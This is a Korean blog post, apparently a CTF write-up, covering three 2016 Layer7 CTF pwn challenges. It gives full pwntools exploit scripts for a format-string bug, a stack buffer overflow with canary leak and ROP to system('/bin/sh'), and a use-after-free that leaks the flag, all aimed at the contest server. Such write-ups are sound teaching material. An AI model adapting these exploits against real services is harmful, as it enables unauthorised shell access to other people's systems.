2016 layer7 ctf easy_(bof, fsb, uaf)
by St1tch이거 대회끝난지 한 2주됬는데 갑자기 생각나서 올린다.
다른팀원들이 미리 풀어논게 있어서 1등이였는데 새벽에 다른팀들이 올라왔다.
나는 대회를 밤늦게 시작해서 팀원들이 풀지 않은 easy 3종 셋트를 풀었다.
2등이라도 유지해서 다행이였다.
easy_fsb를 처음에 풀었는데 libc가 주어진질 모르고 조금씩조금씩 libc를 긁어서 모으고 있었다.
그러다가 공지사항을 보니 낮에 libc를 올려놨었다.......
그래서 바로 다시 오프셋을 적어서 풀었다.
그냥 전형적인 fsb문제였다.
from pwn import *
import stitch
s = remote('prob.layer7.kr', 10002)
p = log.progress('Exploiting!')
if __name__ == '__main__' :
for i in range(5) :
s.sendline('%p')
s.recvuntil('\n')
p.status(str(i+1))
sleep(0.1)
p.status('libc leak')
pay = '%75$p'
s.sendline(pay)
main_ret = s.recvuntil('\n').strip()[3:]
offset = int(main_ret, 16) - 0x18637
system = offset + 0x3a920
binsh = offset + 0x15909f
p.status('stack addr leak')
pay = '%73$p'
s.sendline(pay)
stack = s.recvuntil('\n').strip()
ret_addr = int(stack, 16) - 20
p.status('overwrite ecx')
sleep(1)
pay = stitch.fsb(7, {ret_addr-8 : ret_addr+4}, 0)
s.sendline(pay)
p.status('overwrite sysetm')
sleep(1)
pay = stitch.fsb(7, {ret_addr : system}, 0)
s.sendline(pay)
p.status('overwrite binsh')
sleep(1)
pay = stitch.fsb(7, {ret_addr+8 : binsh}, 0)
s.sendline(pay)
s.interactive()
easy_bof는 fsb취약점을 통해 canary랑 main_ret를 알아낸 후 바로 main함수가 종료가 된 후, system('/bin/sh')가 실행되도록 했다.
다만 64bit라서 pop rdi가젯만 추가하였다.
from pwn import *
local = False
if local :
s = remote('localhost', 9980)
raw_input()
else :
s = remote('prob.layer7.kr', 10003)
def main() :
sleep(1)
s.sendline('-1')
sleep(1)
pay = '%43$p,%45$p'
s.sendline(pay)
canary, main_ret = s.recv(1048).split(',')
offset = int(main_ret, 16) - 0x20830
system = offset + 0x45380
binsh = offset + 0x18c58b
poprdi = offset + 0x21102
pay = 'A' * 264
pay += p64(int(canary, 16))
pay += 'A' * 8
pay += p64(poprdi)
pay += p64(binsh)
pay += p64(system)
sleep(1)
s.sendline(pay)
sleep(1)
s.interactive()
if __name__ == '__main__' :
main()
이건 스샷찍어논게없네
easy_uaf문제는 문제를 만든사람의 의도인지는 모르겠는데 실행이 되지않았다.
근데 uaf라는 것을 알고있기 때문에 ida에서 대충 취약점을 보니 flag가 저장되있는 앞부분의 문자열주소를 한번 free해주면 다시 write를 할 수 있다.
이 때 flag앞까지 0x00이 없게 채워주게 되면 read했을 때 flag까지 같이 읽어 지게된다.
디버깅이 안되서 그냥 ida만 보고 문제를 풀었다.
from pwn import *
s = remote('prob.layer7.kr', 10007)
if __name__ == '__main__':
p = log.progress('Exploiting!')
p.status('free heap')
s.recvuntil('>')
s.sendline('3')
s.recvuntil('>')
s.sendline('2')
p.status('use heap')
s.recvuntil('>')
s.sendline('2')
s.recvuntil('>')
s.sendline('2')
sleep(1)
s.sendline('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
p.status('read flag')
s.recvuntil('>')
s.sendline('4')
s.recvuntil('>')
s.sendline('2')
s.interactive()
블로그의 정보
튜기's blogg(st1tch)
St1tch